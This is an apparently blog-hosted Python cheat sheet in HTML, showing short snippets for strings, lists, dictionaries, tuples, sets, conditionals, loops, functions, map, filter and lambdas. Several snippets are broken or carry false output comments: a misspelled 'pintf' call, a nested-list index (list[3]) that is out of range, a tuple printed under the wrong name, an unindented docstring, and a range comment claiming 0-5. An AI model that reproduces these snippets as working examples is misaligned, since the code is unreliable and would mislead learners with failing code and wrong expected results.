<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#e6db74">&#34;I can&#39;t touch anything&#34;</span>
</span></span></code></pre></div><p>Print variable:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>print(var)
</span></span></code></pre></div><p>Format method:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>print(<span style="color:#e6db74">&#39;My number is </span><span style="color:#e6db74">{}</span><span style="color:#e6db74"> and my name is </span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#39;</span><span style="color:#f92672">.</span>format(<span style="color:#ae81ff">2</span>,<span style="color:#e6db74">&#34;Jan&#34;</span>))
</span></span></code></pre></div><p>Format method 2:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>print(<span style="color:#e6db74">&#39;My number is </span><span style="color:#e6db74">{num}</span><span style="color:#e6db74"> and my name is </span><span style="color:#e6db74">{name}</span><span style="color:#e6db74"> and </span><span style="color:#e6db74">{num}</span><span style="color:#e6db74">&#39;</span><span style="color:#f92672">.</span>format(num<span style="color:#f92672">=</span><span style="color:#ae81ff">2</span>,name<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Jan&#34;</span>))
</span></span></code></pre></div><p>Indexing of strings:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>pintf(s[<span style="color:#ae81ff">0</span>])
</span></span></code></pre></div><p>Slicing: (From 0 to 4)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>s<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Hello world!&#34;</span>
</span></span><span style="display:flex;"><span>s[:<span style="color:#ae81ff">4</span>] <span style="color:#75715e">#out &#39;Hell&#39;</span>
</span></span></code></pre></div><h2 id="data-types">Data types</h2>
<p>Booleans:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">True</span>, <span style="color:#66d9ef">False</span>
</span></span></code></pre></div><p>List:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>list <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#39;a&#39;</span>, <span style="color:#e6db74">&#39;b&#39;</span>, <span style="color:#e6db74">&#39;c&#39;</span>]
</span></span></code></pre></div><p>List append:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>list<span style="color:#f92672">.</span>append(<span style="color:#e6db74">&#39;d&#39;</span>)
</span></span></code></pre></div><p>Change value in list:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>list[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;new value&#34;</span>
</span></span></code></pre></div><p>Neasted list:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>list <span style="color:#f92672">=</span> [<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">2</span>,[<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">2</span>,[<span style="color:#e6db74">&#34;double_nested&#34;</span>]]]
</span></span><span style="display:flex;"><span>print(list[<span style="color:#ae81ff">3</span>][<span style="color:#ae81ff">2</span>]) <span style="color:#75715e">#output [&#34;double_neasted&#34;]</span>
</span></span><span style="display:flex;"><span>print(list[<span style="color:#ae81ff">3</span>][<span style="color:#ae81ff">2</span>][<span style="color:#ae81ff">0</span>]) <span style="color:#75715e">#output &#34;double_neasted&#34;</span>
</span></span></code></pre></div><p>Dictionary:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>dic <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;key1&#34;</span>:<span style="color:#e6db74">&#34;value&#34;</span>, <span style="color:#e6db74">&#34;key2&#34;</span>:<span style="color:#ae81ff">1</span>}
</span></span></code></pre></div><p>Neasted Dictionary:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>dic <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;k1&#34;</span>:{<span style="color:#e6db74">&#34;inner_key&#34;</span>:[<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">2</span>]}}
</span></span></code></pre></div><p>Touple(Immutable):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>touple <span style="color:#f92672">=</span> (<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">3</span>)
</span></span><span style="display:flex;"><span>print(t[<span style="color:#ae81ff">0</span>]) <span style="color:#75715e">#out 1</span>
</span></span></code></pre></div><p>Difference between tuple and list:</p>
<ul>
<li>List - Mutable</li>
<li>Touple - Immutable</li>
</ul>
<p>Set(collection of unique elements):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>set<span style="color:#f92672">=</span>{<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">3</span>} <span style="color:#75715e">#out {1,2,3}</span>
</span></span></code></pre></div><p>Array to Set conversion:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>set([<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">3</span>,<span style="color:#ae81ff">3</span>]) <span style="color:#75715e">#out {1,2,3}</span>
</span></span></code></pre></div><p>Add to set:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>set<span style="color:#f92672">=</span>{<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">3</span>} <span style="color:#75715e">#out {1,2,3}</span>
</span></span><span style="display:flex;"><span>set<span style="color:#f92672">.</span>add(<span style="color:#ae81ff">5</span>)
</span></span><span style="display:flex;"><span>print(set) <span style="color:#75715e">#out {1,2,3,5}</span>
</span></span></code></pre></div><h2 id="comparators">Comparators</h2>
<p>Equal:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#ae81ff">1</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span> <span style="color:#75715e">#False</span>
</span></span></code></pre></div><p>And:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>(<span style="color:#ae81ff">1</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">2</span> )<span style="color:#f92672">and</span> (<span style="color:#ae81ff">2</span> <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">3</span>) <span style="color:#75715e">#False</span>
</span></span></code></pre></div><p>Or:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>(<span style="color:#ae81ff">1</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">2</span>) <span style="color:#f92672">or</span> (<span style="color:#ae81ff">2</span> <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">1</span>) <span style="color:#75715e">#True</span>
</span></span></code></pre></div><p>If</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">2</span>:
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#39;True&#39;</span>)
</span></span></code></pre></div><p>If,elsif,else:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span>:
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#39;Never&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">elif</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">3</span>:
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#39;True&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#39;else&#39;</span>)
</span></span></code></pre></div><h2 id="loops">Loops</h2>
<p>For:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>seq <span style="color:#f92672">=</span> [<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">3</span>,<span style="color:#ae81ff">4</span>,<span style="color:#ae81ff">5</span>]
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> num <span style="color:#f92672">in</span> seq:
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#39;Num: &#39;</span> <span style="color:#f92672">+</span> str(num))
</span></span></code></pre></div><p>While:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>i <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> i <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">5</span>:
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#39;i is: </span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#39;</span><span style="color:#f92672">.</span>format(i))
</span></span><span style="display:flex;"><span>    i<span style="color:#f92672">+=</span><span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>Range:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>range(<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">5</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> x <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">5</span>):
</span></span><span style="display:flex;"><span>    print(x) <span style="color:#75715e"># 0-5</span>
</span></span></code></pre></div><p>List, range:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>list(range(<span style="color:#ae81ff">10</span>))
</span></span></code></pre></div><p>List comprehension:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>[num<span style="color:#f92672">**</span><span style="color:#ae81ff">2</span> <span style="color:#66d9ef">for</span> num <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">5</span>)] <span style="color:#75715e">#out [0, 1, 4, 9, 16]</span>
</span></span></code></pre></div><h2 id="functions">Functions</h2>
<p>Function:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">my_func</span>(param1):
</span></span><span style="display:flex;"><span>    print(param1)
</span></span><span style="display:flex;"><span>my_func(<span style="color:#e6db74">&#39;Hello world!&#39;</span>)
</span></span><span style="display:flex;"><span>my_func <span style="color:#75715e">#out &lt;function my_func at 0x7f81432c9b90&gt; #what is the object</span>
</span></span></code></pre></div><p>Default function parameter value:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">my_func</span>(name<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;Default&#39;</span>):
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#39;Hello &#39;</span> <span style="color:#f92672">+</span> name)
</span></span><span style="display:flex;"><span>my_func() <span style="color:#75715e">#out Hello Default</span>
</span></span></code></pre></div><p>Function return:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">square</span>(num):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> num<span style="color:#f92672">**</span><span style="color:#ae81ff">2</span>
</span></span></code></pre></div><p>Documentation string:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">square</span>(num):
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">This is documentation
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Multiple lines
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> num<span style="color:#f92672">**</span><span style="color:#ae81ff">2</span>
</span></span></code></pre></div><h2 id="collection-methods">Collection methods</h2>
<p>Map function:
<strong>Apply function to each element of seq</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">times2</span>(var):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> var<span style="color:#f92672">*</span><span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>list(map(times2, list(range(<span style="color:#ae81ff">4</span>)))) <span style="color:#75715e">#out [0, 2, 4, 6]</span>
</span></span></code></pre></div><p>Lambda expressions:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>times2 <span style="color:#f92672">=</span> <span style="color:#66d9ef">lambda</span> var:var<span style="color:#f92672">*</span><span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>list(map(times2, list(range(<span style="color:#ae81ff">4</span>)))) <span style="color:#75715e">#out [0, 2, 4, 6]</span>
</span></span></code></pre></div><p>Pass lambda as param:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>list(map(<span style="color:#66d9ef">lambda</span> num: num<span style="color:#f92672">*</span><span style="color:#ae81ff">3</span>, list(range(<span style="color:#ae81ff">4</span>)))) <span style="color:#75715e">#out [0, 3, 6, 9]</span>
</span></span></code></pre></div><p>Filter:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>list(filter(<span style="color:#66d9ef">lambda</span> num: num<span style="color:#f92672">%</span><span style="color:#ae81ff">2</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>, range(<span style="color:#ae81ff">4</span>))) <span style="color:#75715e">#out [0, 2]</span>
</span></span></code></pre></div><p>String methods:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>s <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Some string value&#39;</span>
</span></span><span style="display:flex;"><span>s<span style="color:#f92672">.</span>lower() <span style="color:#75715e"># lowercase</span>
</span></span><span style="display:flex;"><span>s<span style="color:#f92672">.</span>upper() <span style="color:#75715e"># uppercase</span>
</span></span><span style="display:flex;"><span>s<span style="color:#f92672">.</span>split() <span style="color:#75715e"># split by whitespace</span>
</span></span><span style="display:flex;"><span>s<span style="color:#f92672">.</span>split(<span style="color:#e6db74">&#39;#pattern&#39;</span>) <span style="color:#75715e"># split by #pattern</span>
</span></span></code></pre></div><p>Dictionary methods:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>d <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#39;k1&#39;</span>: <span style="color:#ae81ff">1</span>, <span style="color:#e6db74">&#39;k2&#39;</span>: <span style="color:#ae81ff">2</span>}
</span></span><span style="display:flex;"><span>d<span style="color:#f92672">.</span>keys() <span style="color:#75715e">#out dict_keys([&#39;k1&#39;, &#39;k2&#39;])</span>
</span></span><span style="display:flex;"><span>d<span style="color:#f92672">.</span>items() <span style="color:#75715e">#out dict_items([(&#39;k1&#39;, 1), (&#39;k2&#39;, 2)])</span>
</span></span><span style="display:flex;"><span>d<span style="color:#f92672">.</span>values() <span style="color:#75715e">#out dict_values([1, 2])</span>
</span></span></code></pre></div><p>List methods:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>list <span style="color:#f92672">=</span> [<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">3</span>,<span style="color:#ae81ff">4</span>]
</span></span><span style="display:flex;"><span>list<span style="color:#f92672">.</span>pop() <span style="color:#75715e">#return and remove last element, out 4</span>
</span></span><span style="display:flex;"><span>list<span style="color:#f92672">.</span>pop(<span style="color:#ae81ff">0</span>) <span style="color:#75715e">#return and remove element of index 0, out 0</span>
</span></span><span style="display:flex;"><span>list<span style="color:#f92672">.</span>append(<span style="color:#e6db74">&#34;value&#34;</span>) <span style="color:#75715e">#out [1, 2, 3, &#39;value&#39;]</span>
</span></span></code></pre></div><p><strong>In</strong> operator:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#e6db74">&#39;x&#39;</span> <span style="color:#f92672">in</span> [<span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">3</span>] <span style="color:#75715e">#out False</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#39;x&#39;</span> <span style="color:#f92672">in</span> [<span style="color:#e6db74">&#39;x&#39;</span>, <span style="color:#e6db74">&#39;y&#39;</span>, <span style="color:#e6db74">&#39;z&#39;</span>] <span style="color:#75715e">#out True</span>
</span></span></code></pre></div><p>Touple unpacking:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>x <span style="color:#f92672">=</span> [(<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">2</span>),(<span style="color:#ae81ff">3</span>,<span style="color:#ae81ff">4</span>),(<span style="color:#ae81ff">5</span>,<span style="color:#ae81ff">6</span>)]
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (a,b) <span style="color:#f92672">in</span> x:
</span></span><span style="display:flex;"><span>    print(b) <span style="color:#75715e">#out 2, 4, 6</span>
</span></span></code></pre></div>]]></content></item></channel></rss>